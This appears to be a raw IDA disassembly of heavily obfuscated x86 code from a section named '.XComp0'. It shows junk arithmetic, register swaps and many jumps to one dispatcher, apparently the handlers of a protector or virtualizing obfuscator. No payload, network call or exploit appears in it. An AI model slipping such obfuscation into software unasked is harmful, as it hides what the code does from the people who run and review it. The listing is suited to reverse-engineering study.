movzx cx, al jmp loc_5814B5 ; --------------------------------------------------------------------------- loc_5797AD: ; CODE XREF: .XComp0:0057B91Dj sub dword ptr [esp], 24FD1795h sub [esp], eax add dword ptr [esp], 24FD1795h sub dword ptr [esp], 37485B67h jmp loc_5741BE ; --------------------------------------------------------------------------- loc_5797CA: ; CODE XREF: .XComp0:0058201Fj push ebx jmp loc_579DC3 ; --------------------------------------------------------------------------- loc_5797D0: ; CODE XREF: .XComp0:00576913j add esi, 4 add esi, 4 xchg esi, [esp] pop esp push small 2B2Ch mov [esp], bx sub esp, 4 mov [esp], ecx push ebx mov bh, 0A1h dec bh shr bh, 3 or bh, 0ECh or bh, 0F6h jmp loc_575AFE ; --------------------------------------------------------------------------- loc_579801: ; CODE XREF: .XComp0:0057CD3Dj mov bh, al jmp loc_57BA95 ; --------------------------------------------------------------------------- loc_579808: ; CODE XREF: .XComp0:00578167j xor eax, 9CB6C9h xor esi, eax pop eax sub ebp, 3B8A28C0h add ebp, esi add ebp, 3B8A28C0h mov esi, [esp] add esp, 4 add ebp, 4 jmp loc_575E8C ; --------------------------------------------------------------------------- loc_57982C: ; CODE XREF: .XComp0:0058014Dj push ebx mov ebx, 5C9D0B50h add eax, ebx pop ebx jmp loc_578AA3 ; --------------------------------------------------------------------------- loc_57983A: ; CODE XREF: .XComp0:0057E086j mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 push ecx jmp loc_577681 ; --------------------------------------------------------------------------- loc_57985D: ; CODE XREF: .XComp0:00578158j push eax push 33237FBBh mov eax, [esp] add esp, 4 jmp loc_57590F ; --------------------------------------------------------------------------- loc_579871: ; CODE XREF: .XComp0:00576CB9j not eax jmp loc_57A9F5 ; --------------------------------------------------------------------------- loc_579878: ; CODE XREF: .XComp0:00581C0Bj push esi push esp jmp loc_57533F ; --------------------------------------------------------------------------- loc_57987F: ; CODE XREF: .XComp0:00575B03j pop ebx jmp loc_58290F ; --------------------------------------------------------------------------- loc_579885: ; CODE XREF: .XComp0:00579DEEj mov dl, 15h sub al, dl jmp loc_57D8C1 ; --------------------------------------------------------------------------- loc_57988E: ; CODE XREF: .XComp0:0057CC3Cj mov ebp, 40EE4A63h xchg eax, ebp neg eax xchg eax, ebp shr ebp, 7 shr ebp, 1 jmp loc_582FB7 ; --------------------------------------------------------------------------- loc_5798A1: ; CODE XREF: .XComp0:0057716Bj and ecx, edi jmp loc_57C8F5 ; --------------------------------------------------------------------------- loc_5798A8: ; CODE XREF: .XComp0:0058087Cj push edx xor dword ptr [esp], 34426DAh pop ebp xor ebp, 34426DAh pop edx push esi mov esi, 6C9C7857h sub edi, 36DC30E5h add edi, 5A88109Ah add edi, esi sub edi, 5A88109Ah add edi, 36DC30E5h pop esi add edi, ebp jmp loc_577C61 ; --------------------------------------------------------------------------- loc_5798E0: ; CODE XREF: .XComp0:0057E9FBj xor ecx, 156C162h add eax, 6E922A74h add eax, ecx sub eax, 6E922A74h pop ecx jmp loc_574795 ; --------------------------------------------------------------------------- loc_5798F8: ; CODE XREF: .XComp0:00581306j add dword ptr [esp+8], 351633Fh sub [esp+8], ebx jmp loc_57E1D4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push edx push esp pop edx jmp loc_57C3E2 ; --------------------------------------------------------------------------- loc_57991D: ; CODE XREF: .XComp0:0057B77Fj pop edi sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov ax, [esp] sub esp, 4 mov [esp], esi jmp loc_578E12 ; --------------------------------------------------------------------------- loc_57993E: ; CODE XREF: .XComp0:00577EB7j push ebp jmp loc_5822C9 ; --------------------------------------------------------------------------- loc_579944: ; CODE XREF: .XComp0:00574A9Ej mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add eax, esi add eax, 44546D47h jmp loc_574A00 ; --------------------------------------------------------------------------- loc_579963: ; CODE XREF: .XComp0:00582F25j sub esi, 465F5D87h push eax mov eax, esi mov edx, eax pop eax pop esi add ecx, 73891FE3h add ecx, edx sub ecx, 73891FE3h jmp loc_57A1CE ; --------------------------------------------------------------------------- loc_579983: ; CODE XREF: .XComp0:00575C4Dj and esi, 5FA20A46h xor esi, 744A0D3Dh sub edx, esi pop esi add edx, eax add edx, 70C80D7Bh jmp loc_573541 ; --------------------------------------------------------------------------- loc_57999F: ; CODE XREF: .XComp0:00580AF5j mov esi, esp jmp loc_576F51 ; --------------------------------------------------------------------------- loc_5799A6: ; CODE XREF: .XComp0:005748C1j shl dword ptr [esp], cl jmp loc_573541 ; --------------------------------------------------------------------------- loc_5799AE: ; CODE XREF: .XComp0:0057442Cj xchg edx, [esp] mov esp, [esp] idiv ecx push 2F57h mov [esp], edx push eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5799C5: ; CODE XREF: .XComp0:00575B9Ej push 571Bh mov [esp], ebx jmp loc_575371 ; --------------------------------------------------------------------------- loc_5799D2: ; CODE XREF: .XComp0:00576FD7j sub esp, 4 mov [esp], ecx push edx mov edx, 54F34F69h push ebx mov ebx, 4D5961AFh jmp loc_57DE85 ; --------------------------------------------------------------------------- loc_5799EC: ; CODE XREF: .XComp0:00579D82j shl ebp, 6 not ebp push eax jmp loc_57A66F ; --------------------------------------------------------------------------- push 5699h mov [esp], ebx push ecx mov ecx, 0FEh jmp loc_579223 ; --------------------------------------------------------------------------- loc_579A0A: ; CODE XREF: .XComp0:00577CEAj push ebx mov bh, 61h add ah, bh mov ebx, [esp] add esp, 4 shl ah, 2 sub ah, 58h dec ah sub ah, 0A7h jmp loc_581403 ; --------------------------------------------------------------------------- loc_579A28: ; CODE XREF: .XComp0:00577DE2j sub [edi+24h], esi push dword ptr [esp] mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp push ebp mov ebp, 57FA023Bh shl ebp, 3 not ebp inc ebp sub ebp, 60557D2Dh and ebp, 265E6F68h xor ebp, 65A606Ch add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp] mov esp, [esp] loc_579A6C: ; CODE XREF: .XComp0:00582650j push ebp push esp pop ebp push ecx jmp loc_57FB3B ; --------------------------------------------------------------------------- loc_579A75: ; CODE XREF: .XComp0:005772FBj pop ebx xchg edi, [esp] mov esp, [esp] jmp loc_5772B1 ; --------------------------------------------------------------------------- loc_579A81: ; CODE XREF: .XComp0:00576930j add ebx, 4 push edi mov edi, 4 jmp loc_57C86C ; --------------------------------------------------------------------------- loc_579A92: ; CODE XREF: .XComp0:0058177Ej sub dword ptr [esp], 701D26B4h add [esp], eax push edx mov edx, 701D26B4h add [esp+4], edx jmp loc_57E4ED ; --------------------------------------------------------------------------- loc_579AAB: ; CODE XREF: .XComp0:00578D6Bj dec esi not esi neg esi jmp loc_57B8DC ; --------------------------------------------------------------------------- loc_579AB5: ; CODE XREF: .XComp0:0058214Aj jmp loc_573541 ; --------------------------------------------------------------------------- loc_579ABA: ; CODE XREF: .XComp0:00577195j sub [edi+24h], eax mov eax, [esp] jmp loc_576D4A ; --------------------------------------------------------------------------- loc_579AC5: ; CODE XREF: .XComp0:00581C40j add esp, 4 xor ebx, [esp] jmp loc_57738C ; --------------------------------------------------------------------------- loc_579AD3: ; CODE XREF: .XComp0:0057C3DDj pop ecx jmp loc_580636 ; --------------------------------------------------------------------------- loc_579AD9: ; CODE XREF: .XComp0:0057C08Ej push 6B21h jmp loc_57BABC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_579AE3: ; CODE XREF: sub_5A47B5-22888j xchg cl, dl not cl xchg cl, dl jmp loc_57E725 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_579AEE: ; CODE XREF: .XComp0:0058028Cj shl ebp, 3 neg ebp jmp loc_576DDA ; --------------------------------------------------------------------------- loc_579AF8: ; CODE XREF: .XComp0:005821B6j add eax, 5ECD10C0h add eax, ecx jmp loc_57C702 ; --------------------------------------------------------------------------- loc_579B04: ; CODE XREF: .XComp0:00579292j xchg edi, [esp] jmp loc_57E056 ; --------------------------------------------------------------------------- loc_579B0C: ; CODE XREF: .XComp0:0057C20Ej dec edx not edx shl edx, 7 jmp loc_57B4ED ; --------------------------------------------------------------------------- loc_579B17: ; CODE XREF: .XComp0:005793A6j pop edi and ebp, 382671EBh add ebp, 3B5207DFh add ecx, ebp pop ebp add ecx, 1 push eax push esi push 40832E5Dh pop esi jmp loc_577B51 ; --------------------------------------------------------------------------- loc_579B37: ; CODE XREF: .XComp0:0057A862j mov [esp], ebp jmp loc_5832D9 ; --------------------------------------------------------------------------- loc_579B3F: ; CODE XREF: .XComp0:00581006j xor esi, ebx jmp loc_5777EE ; --------------------------------------------------------------------------- loc_579B46: ; CODE XREF: .XComp0:0057D87Cj xor edi, 0B6626Dh shr edi, 7 xor edi, 3A9301Ah neg edi add edi, 0E8A35D3Eh mov esi, edi pop edi add ebp, esi pop esi push edx mov edx, 22155A0h not edx xor edx, 440C6544h add edx, 51E36C27h sub edx, 9B7F044Ch add ebx, edx jmp loc_57AEA9 ; --------------------------------------------------------------------------- loc_579B84: ; CODE XREF: .XComp0:0057D362j mov [esp], ebx push 6B6h mov [esp], ebp push 3614019Dh mov ebp, [esp] add esp, 4 sub ebp, 8B932A9h sub ebp, 0FFFFFFFFh neg ebp push eax jmp loc_575C5A ; --------------------------------------------------------------------------- loc_579BB1: ; CODE XREF: .XComp0:0057DC13j mov ecx, [esp] jmp loc_57FD94 ; --------------------------------------------------------------------------- loc_579BB9: ; CODE XREF: .XComp0:00578652j add esp, 4 push 591Ch mov [esp], ebp push 43470338h pop ebp push eax mov eax, 3B60068Fh and ebp, eax mov eax, [esp] push ecx jmp loc_575786 ; --------------------------------------------------------------------------- loc_579BDE: ; CODE XREF: .XComp0:0058190Cj add esi, 72D2334Dh pop ebx xchg esi, [esp] pop esp or [esp], eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_579BF2: ; CODE XREF: .XComp0:0057F869j add eax, 4 xchg eax, [esp] pop esp jmp loc_573541 ; --------------------------------------------------------------------------- push ebx push esi push 5FBB76B1h pop esi and esi, 79B46CC5h jmp loc_573F2D ; --------------------------------------------------------------------------- loc_579C13: ; CODE XREF: .XComp0:0058318Bj add edx, 37265B68h add edx, 0CC59DCC2h jmp loc_580152 ; --------------------------------------------------------------------------- loc_579C24: ; CODE XREF: .XComp0:0057FFD9j mov edx, 1 or [edi+1Ch], edx push dword ptr [esp] mov edx, [esp] push edi mov edi, esp jmp loc_58075E ; --------------------------------------------------------------------------- loc_579C3A: ; CODE XREF: .XComp0:00581214j add esp, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ebx jmp loc_579363 ; --------------------------------------------------------------------------- loc_579C58: ; CODE XREF: .XComp0:00581646j push ebx mov bl, al mov ch, bl jmp loc_57FF31 ; --------------------------------------------------------------------------- loc_579C62: ; CODE XREF: .XComp0:00578FE8j dec ebx jmp loc_57F21A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_579C68: ; CODE XREF: sub_5A47B5-2608Ej mov cl, dl mov dl, bl mov bl, cl jmp loc_57821B ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_579C73: ; CODE XREF: .XComp0:0057A588j xchg ecx, [esp] pop esp push edx mov edx, 27AC71D6h jmp loc_576AAD ; --------------------------------------------------------------------------- loc_579C82: ; CODE XREF: .XComp0:005821E6j mov ecx, 6FC97B40h mov ebp, ecx pop ecx sub esi, 9AF11D2h jmp loc_57893D ; --------------------------------------------------------------------------- loc_579C95: ; CODE XREF: .XComp0:00581F6Dj and eax, 16433543h add eax, 7AD459B2h and eax, 61CB7127h add eax, 0ACBA60B2h jmp loc_57C5D5 ; --------------------------------------------------------------------------- loc_579CAE: ; CODE XREF: .XComp0:00575BCCj add esi, 391D34B1h sub esi, ebp sub esi, 391D34B1h pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], dx jmp loc_5823D8 ; --------------------------------------------------------------------------- loc_579CD0: ; CODE XREF: .XComp0:00576B47j push esi mov esi, esp push ebp mov ebp, 4 sub esi, 67C77DD9h add esi, ebp jmp loc_583138 ; --------------------------------------------------------------------------- loc_579CE6: ; CODE XREF: .XComp0:0057547Cj pop ebx or edi, 4E815FA8h jmp loc_576699 ; --------------------------------------------------------------------------- loc_579CF2: ; CODE XREF: .XComp0:0057537Ej xor esi, ebx pop ebx mov edi, 53931C66h xor edi, esi jmp loc_57A867 ; --------------------------------------------------------------------------- loc_579D01: ; CODE XREF: .XComp0:00582530j mov [esp], edx mov edx, esp jmp loc_580F43 ; --------------------------------------------------------------------------- loc_579D0B: ; CODE XREF: .XComp0:0057BD96j push 25D5h mov [esp], eax mov eax, 4 add [esp+4], eax jmp loc_57D26F ; --------------------------------------------------------------------------- loc_579D21: ; CODE XREF: .XComp0:005753DBj add edi, eax pop eax push 2364h jmp loc_57443A ; --------------------------------------------------------------------------- loc_579D2E: ; CODE XREF: .XComp0:00577BFEj inc edi add edi, 2B082925h push esi mov esi, 67876648h jmp loc_5742A5 ; --------------------------------------------------------------------------- loc_579D40: ; CODE XREF: .XComp0:0057B6DDj mov [esp], ebp jmp loc_57CBA9 ; --------------------------------------------------------------------------- loc_579D48: ; CODE XREF: .XComp0:0058297Bj sub esp, 4 jmp loc_57A73E ; --------------------------------------------------------------------------- loc_579D53: ; CODE XREF: .XComp0:005757E0j sub eax, esi jmp loc_57764E ; --------------------------------------------------------------------------- loc_579D5A: ; CODE XREF: .XComp0:0057FF3Dj and eax, 12423B46h add eax, 133F0BAh mov esi, eax mov eax, [esp] add esp, 4 push ebx jmp loc_574BF9 ; --------------------------------------------------------------------------- loc_579D72: ; CODE XREF: .XComp0:00581A4Ej xchg ebp, [esp] jmp loc_581A5A ; --------------------------------------------------------------------------- loc_579D7A: ; CODE XREF: .XComp0:0057F11Cj mov [esp], ebp mov ebp, 60B14878h jmp loc_5799EC ; --------------------------------------------------------------------------- loc_579D87: ; CODE XREF: .XComp0:0057C5BAj xor dword ptr [esp], 31684C1Ah jmp loc_5784A6 ; --------------------------------------------------------------------------- loc_579D93: ; CODE XREF: .XComp0:00575F9Aj sub esi, 6216266Fh pop edx shl esi, 2 push ebx mov ebx, 73E162A1h and esi, ebx pop ebx shr esi, 8 sub esi, 0DB91B5AEh sub edx, 5D9B74EDh jmp loc_57DF01 ; --------------------------------------------------------------------------- loc_579DBA: ; CODE XREF: .XComp0:0057F5D4j mov [ecx], dl pop ecx pop ebx jmp loc_573541 ; --------------------------------------------------------------------------- loc_579DC3: ; CODE XREF: .XComp0:005797CBj mov bh, 87h jmp loc_57FDCC ; --------------------------------------------------------------------------- loc_579DCA: ; CODE XREF: .XComp0:005766EFj mov [esp], ebp push ebx push 7C020A3Ah jmp loc_58180E ; --------------------------------------------------------------------------- loc_579DD8: ; CODE XREF: .XComp0:00581960j or eax, 583E7A26h jmp loc_5796A3 ; --------------------------------------------------------------------------- loc_579DE2: ; CODE XREF: .XComp0:0057C0ECj add ch, 67h sub ch, 86h jmp loc_57BC2A ; --------------------------------------------------------------------------- loc_579DED: ; CODE XREF: .XComp0:00575781j push edx jmp loc_579885 ; --------------------------------------------------------------------------- loc_579DF3: ; CODE XREF: .XComp0:00576694j mov ecx, edx pop edx mov edi, ecx mov ecx, [esp] jmp loc_57C772 ; --------------------------------------------------------------------------- loc_579E00: ; CODE XREF: .XComp0:0057C7B9j neg si add si, 0CE25h xor bp, si jmp loc_58225D ; --------------------------------------------------------------------------- loc_579E10: ; CODE XREF: .XComp0:005807FEj add [esp+4], ebx pop ebx jmp loc_57A77E ; --------------------------------------------------------------------------- loc_579E1A: ; CODE XREF: .XComp0:0057B809j add esp, 4 jmp loc_578CC8 ; --------------------------------------------------------------------------- loc_579E22: ; CODE XREF: .XComp0:00580466j xor [esp], edi xor edi, [esp] pop esp push 7B9Dh mov [esp], eax jmp loc_573541 ; --------------------------------------------------------------------------- loc_579E36: ; CODE XREF: .XComp0:0057C9C7j push dword ptr [esp] pop ecx add esp, 4 jmp loc_57D606 ; --------------------------------------------------------------------------- loc_579E42: ; CODE XREF: .XComp0:0057E8D5j shr eax, 1 jmp loc_575F25 ; --------------------------------------------------------------------------- loc_579E49: ; CODE XREF: .XComp0:0057477Dj add ecx, 4 push edx mov edx, 2 push 48AFh mov [esp], edi mov edi, 176D433Ah sub edi, 0FE12C06h and edi, 324F14C5h sub edi, 0B317CB9h inc edi jmp loc_576F82 ; --------------------------------------------------------------------------- loc_579E7A: ; CODE XREF: .XComp0:0057810Cj shl dl, 7 xor dl, ah xor ah, dl xor dl, ah dec ah push ecx mov ch, ah mov ah, dl mov dl, ch pop ecx jmp loc_580E17 ; --------------------------------------------------------------------------- loc_579E92: ; CODE XREF: .XComp0:005802B2j add bh, dh sub bh, 0F7h jmp loc_57D5C2 ; --------------------------------------------------------------------------- loc_579E9C: ; CODE XREF: .XComp0:00580473j pop edx push esi push ecx mov ecx, 73AF0F3Fh add [esp+4], ecx pop ecx pop ebx jmp loc_582F6D ; --------------------------------------------------------------------------- loc_579EAF: ; CODE XREF: .XComp0:00581FBFj push edx jmp loc_576027 ; --------------------------------------------------------------------------- loc_579EB5: ; CODE XREF: .XComp0:00573BA3j push edi mov edi, 3A407A65h shr edi, 1 add edi, 627C004Dh push ebx jmp loc_57DCFF ; --------------------------------------------------------------------------- loc_579EC9: ; CODE XREF: .XComp0:0057C4C8j pop ebx jmp loc_574688 ; --------------------------------------------------------------------------- loc_579ECF: ; CODE XREF: .XComp0:0057E79Aj push dword ptr [esp] jmp loc_574027 ; --------------------------------------------------------------------------- loc_579ED7: ; CODE XREF: .XComp0:00581A74j push ecx mov ecx, esp jmp loc_57C4DB ; --------------------------------------------------------------------------- loc_579EDF: ; CODE XREF: .XComp0:0057CA79j pop ecx push edi mov edi, 7BB219A2h jmp loc_57E8B1 ; --------------------------------------------------------------------------- loc_579EEB: ; CODE XREF: .XComp0:0058174Dj add esp, 4 add ebx, 44291F1Ah sub ebx, eax jmp loc_57708A ; --------------------------------------------------------------------------- loc_579EFE: ; CODE XREF: .XComp0:005790DDj push 3539h mov [esp], esp push eax mov eax, 4 add [esp+4], eax jmp loc_578FF3 ; --------------------------------------------------------------------------- loc_579F15: ; CODE XREF: .XComp0:0057FF93j push ebx mov ebx, esp jmp loc_57C21E ; --------------------------------------------------------------------------- loc_579F1D: ; CODE XREF: .XComp0:00577272j pop edx push eax mov ah, 0F9h jmp loc_58203F ; --------------------------------------------------------------------------- loc_579F26: ; CODE XREF: .XComp0:00575AF9j xor [esp], ecx xor ecx, [esp] mov esp, [esp] pop dword ptr [esp] pop esp mov cx, [esp] sub esp, 4 mov [esp], ebp push esp mov ebp, [esp] jmp loc_58030A ; --------------------------------------------------------------------------- loc_579F49: ; CODE XREF: .XComp0:00577E4Bj push edi push ebx mov ebx, 38AC1DFCh push ebx jmp loc_58084F ; --------------------------------------------------------------------------- loc_579F56: ; CODE XREF: .XComp0:00573B4Fj add esp, 4 sub eax, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_578252 ; --------------------------------------------------------------------------- loc_579F67: ; CODE XREF: .XComp0:0057B017j mov ebx, 768B65A9h jmp loc_574E9F ; --------------------------------------------------------------------------- loc_579F71: ; CODE XREF: .XComp0:0057F9D7j push dword ptr [esp] pop eax jmp loc_574EB9 ; --------------------------------------------------------------------------- loc_579F7A: ; CODE XREF: .XComp0:00575AC3j xor edi, [esp] mov esp, [esp] mul ecx push 232Ch mov [esp], edx push eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_579F91: ; CODE XREF: .XComp0:005779EBj pop ebx add dl, 0E3h sub esp, 4 mov [esp], ecx mov cl, dl mov bl, cl pop ecx pop edx sub bl, 0FFh push edx mov dh, 96h jmp loc_575BA3 ; --------------------------------------------------------------------------- loc_579FAC: ; CODE XREF: .XComp0:0057B268j pop dword ptr [esp] jmp loc_577ED4 ; --------------------------------------------------------------------------- loc_579FB4: ; CODE XREF: .XComp0:0057EBEDj not ebx xor ebx, 0DDE091Ch add edi, ebx pop ebx xchg edi, [esp] pop esp push eax push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_58294B ; --------------------------------------------------------------------------- loc_579FD6: ; CODE XREF: .XComp0:0057B814j add cl, 0FFh sub cl, 0ECh jmp loc_57E746 ; --------------------------------------------------------------------------- loc_579FE1: ; CODE XREF: .XComp0:0057F38Dj imul cx push 3E57h mov [esp], ebx jmp loc_583338 ; --------------------------------------------------------------------------- loc_579FF1: ; CODE XREF: .XComp0:00582123j pop esi push 0D6Eh jmp loc_58092E ; --------------------------------------------------------------------------- loc_579FFC: ; CODE XREF: .XComp0:0057D4D2j add ebx, esi mov esi, [esp] add esp, 4 add ebx, eax jmp loc_57F798 ; --------------------------------------------------------------------------- loc_57A00E: ; CODE XREF: .XComp0:0057C52Fj shl ebp, 7 sub ebp, 3B7F7AA3h inc ebp dec ebp or ebp, 4C1B47CAh add ebp, 12641025h sub ebx, 41B107A2h add ebx, ebp add ebx, 41B107A2h push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push ebx mov ebx, esp add ebx, 4 jmp loc_576E58 ; --------------------------------------------------------------------------- loc_57A04E: ; CODE XREF: .XComp0:0057AD2Ej mov eax, [esp] jmp loc_574957 ; --------------------------------------------------------------------------- loc_57A056: ; CODE XREF: .XComp0:00577735j add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5813E5 ; --------------------------------------------------------------------------- loc_57A067: ; CODE XREF: .XComp0:0057F9CCj pop ebp push eax mov eax, 150856C5h add [esp+8], eax pop eax sub [esp+4], edi sub dword ptr [esp+4], 150856C5h pop edi push dword ptr [esp] pop ecx add esp, 4 jmp loc_57D111 ; --------------------------------------------------------------------------- loc_57A08C: ; CODE XREF: .XComp0:00581613j add esi, 4 sub esi, 4 jmp loc_58358F ; --------------------------------------------------------------------------- loc_57A09A: ; CODE XREF: .XComp0:0057EB3Bj not ebp xor ebp, 354F2504h or ebp, 31F5749Fh sub ebp, 0FC7A4689h mov ebx, ebp pop ebp sub ebx, 2FB25D7Ch jmp loc_574A2C ; --------------------------------------------------------------------------- loc_57A0BC: ; CODE XREF: .XComp0:0058333Fj push eax push ecx jmp loc_57CA53 ; --------------------------------------------------------------------------- loc_57A0C3: ; CODE XREF: .XComp0:00574529j mov eax, edx pop edx neg eax jmp loc_58032A ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi push 40C2h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_57B515 ; --------------------------------------------------------------------------- loc_57A0F1: ; CODE XREF: .XComp0:00578589j mov esp, [esp] jmp loc_57BD9B ; --------------------------------------------------------------------------- loc_57A0F9: ; CODE XREF: .XComp0:0057C77Bj push esi mov esi, esp add esi, 4 push eax jmp loc_58101E ; --------------------------------------------------------------------------- loc_57A108: ; CODE XREF: .XComp0:00574F2Aj shr eax, 10h jmp loc_577D6B ; --------------------------------------------------------------------------- loc_57A110: ; CODE XREF: .XComp0:0057BC41j xor cl, dl mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov ah, 89h jmp loc_582923 ; --------------------------------------------------------------------------- loc_57A128: ; CODE XREF: .XComp0:00583499j mov eax, 22C96188h jmp loc_57D787 ; --------------------------------------------------------------------------- loc_57A132: ; CODE XREF: .XComp0:0057DEE0j or ecx, 2C5D31E4h push ebx mov ebx, 7DF116F7h dec ebx and ebx, 54B815E6h add ebx, 54AA6455h push ebp mov ebp, 351E7B0Ah and ebp, 29F33A51h sub ebp, 7B852141h add ebp, 46A06486h and ebp, 3F4404BAh push esi mov esi, 595C4BADh neg esi sub esi, 0FFFFFFFFh and esi, 27721A42h or esi, 4ACF3791h jmp loc_5821CB ; --------------------------------------------------------------------------- loc_57A188: ; CODE XREF: .XComp0:0057D9EAj mov esi, [esp] add esp, 4 jmp loc_582B0D ; --------------------------------------------------------------------------- loc_57A196: ; CODE XREF: .XComp0:0057D670j sub ebp, 6B4F2762h and ebp, 1EDD7CC7h add ebp, 0FD62EF3Eh mov ecx, ebp pop ebp jmp loc_57ECA4 ; --------------------------------------------------------------------------- loc_57A1B0: ; CODE XREF: .XComp0:005822D7j sub esp, 4 mov [esp], ebx jmp loc_57DDFC ; --------------------------------------------------------------------------- loc_57A1BB: ; CODE XREF: .XComp0:0057D03Aj add eax, esi add eax, 6A0C6EDBh pop esi xor eax, [esp] xor [esp], eax jmp loc_5781C0 ; --------------------------------------------------------------------------- loc_57A1CE: ; CODE XREF: .XComp0:0057997Ej pop edx xchg ecx, [esp] mov esp, [esp] movsx ecx, ax push 736Dh jmp loc_5831B0 ; --------------------------------------------------------------------------- loc_57A1E2: ; CODE XREF: .XComp0:0057ADD2j push ecx mov ecx, 209C5386h add eax, 2B4A5AB7h add eax, ecx jmp loc_581862 ; --------------------------------------------------------------------------- loc_57A1F4: ; CODE XREF: .XComp0:00575DADj push edi mov edi, 24h mov edx, edi pop edi add edx, 1C5A7BAFh sub edx, 2B6530B7h sub edx, 17D46E3Fh add edx, edi jmp loc_580D40 ; --------------------------------------------------------------------------- loc_57A216: ; CODE XREF: .XComp0:0057B957j push eax mov eax, 45133609h neg eax add eax, 4F144B37h inc eax or eax, 19542CC7h jmp loc_574EDD ; --------------------------------------------------------------------------- loc_57A22E: ; CODE XREF: .XComp0:0057AB38j xor eax, [esp] jmp loc_57B913 ; --------------------------------------------------------------------------- loc_57A236: ; CODE XREF: .XComp0:0058247Bj sub eax, ebp pop ebp push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 jmp loc_57D5B7 ; --------------------------------------------------------------------------- loc_57A24B: ; CODE XREF: .XComp0:00582881j pop eax add eax, 0DC57807h xor ecx, eax pop eax push ecx not dword ptr [esp] pop ecx xor ecx, 5C757A04h sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_581B2B ; --------------------------------------------------------------------------- loc_57A273: ; CODE XREF: .XComp0:0057B9BBj push eax mov al, 96h sub bl, al pop eax jmp loc_580A88 ; --------------------------------------------------------------------------- loc_57A27E: ; CODE XREF: .XComp0:00577F4Bj pop ebp push 3DC5h mov [esp], ebp jmp loc_58112A ; --------------------------------------------------------------------------- loc_57A28C: ; CODE XREF: .XComp0:0057A7CAj add esi, 0F0DA8139h sub edx, 284D083Bh jmp loc_57BB03 ; --------------------------------------------------------------------------- loc_57A29D: ; CODE XREF: .XComp0:005819E3j mov esi, esp add esi, 4 push edi mov edi, 4 jmp loc_57E347 ; --------------------------------------------------------------------------- loc_57A2B0: ; CODE XREF: .XComp0:00575EDEj pop edi neg edi dec edi not edi xor edi, 3AA1122Bh mov edx, edi pop edi jmp loc_57E45C ; --------------------------------------------------------------------------- loc_57A2C4: ; CODE XREF: .XComp0:0057C33Ej add eax, 4 push ebx mov ebx, 2F637F00h sub ebx, 7AE15A95h push ebx not dword ptr [esp] pop ebx push ecx mov ecx, 35F85159h neg ecx jmp loc_57448D ; --------------------------------------------------------------------------- loc_57A2E7: ; CODE XREF: .XComp0:0057E5ABj add eax, 66DA739Eh add esi, eax pop eax push eax mov eax, 5583276Ah neg eax neg eax jmp loc_580F39 ; --------------------------------------------------------------------------- loc_57A2FE: ; CODE XREF: .XComp0:00577BB9j mov [esp], ebx mov ebx, 4 add [esp+4], ebx pop ebx pop ecx add ecx, 4 push esi mov esi, 2 add ecx, esi pop esi push esi jmp loc_57CEFE ; --------------------------------------------------------------------------- loc_57A321: ; CODE XREF: .XComp0:0057D3CDj add esp, 4 xor edi, 79715286h push edx mov edx, 3997E995h xor edi, edx mov edx, [esp] add esp, 4 jmp loc_580A4A ; --------------------------------------------------------------------------- loc_57A340: ; CODE XREF: .XComp0:0057758Fj inc ebx push eax mov eax, 7B015CC8h neg eax or eax, 7C1C4A10h and eax, 5B383457h add eax, 0C222F11Ch add ebx, eax jmp loc_578B3C ; --------------------------------------------------------------------------- loc_57A35F: ; CODE XREF: .XComp0:0057B8C0j add al, 0AAh pop dx add al, ch add al, 39h mov ecx, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5833FB ; --------------------------------------------------------------------------- loc_57A384: ; CODE XREF: .XComp0:0057EE65j push ebx push 65396272h pop ebx and ebx, 2CCB31D9h or ebx, 560D1F10h jmp loc_583626 ; --------------------------------------------------------------------------- loc_57A39C: ; CODE XREF: .XComp0:00575E6Ej sub esi, 0FF94E221h or eax, esi pop esi add eax, 1 jmp loc_5762B6 ; --------------------------------------------------------------------------- loc_57A3AD: ; CODE XREF: .XComp0:005825D3j sub dl, 98h jmp loc_5832AF ; --------------------------------------------------------------------------- loc_57A3B5: ; CODE XREF: .XComp0:0057C10Fj push 4FB7h jmp loc_57FB57 ; --------------------------------------------------------------------------- loc_57A3BF: ; CODE XREF: .XComp0:0057F200j add ecx, 4 jmp loc_578C81 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push 2C17h mov [esp], ebp push esp pop ebp push edx push esi mov esi, 4C8046ECh push ebp jmp loc_580EBE ; --------------------------------------------------------------------------- loc_57A3E7: ; CODE XREF: .XComp0:0057956Fj not byte ptr [esp+1] jmp loc_578A76 ; --------------------------------------------------------------------------- loc_57A3F0: ; CODE XREF: .XComp0:0057D0AFj xor eax, [esp] pop esp jmp loc_57DB1E ; --------------------------------------------------------------------------- loc_57A3F9: ; CODE XREF: .XComp0:00582DA9j add esp, 4 pop dword ptr [esp] jmp loc_5737A2 ; 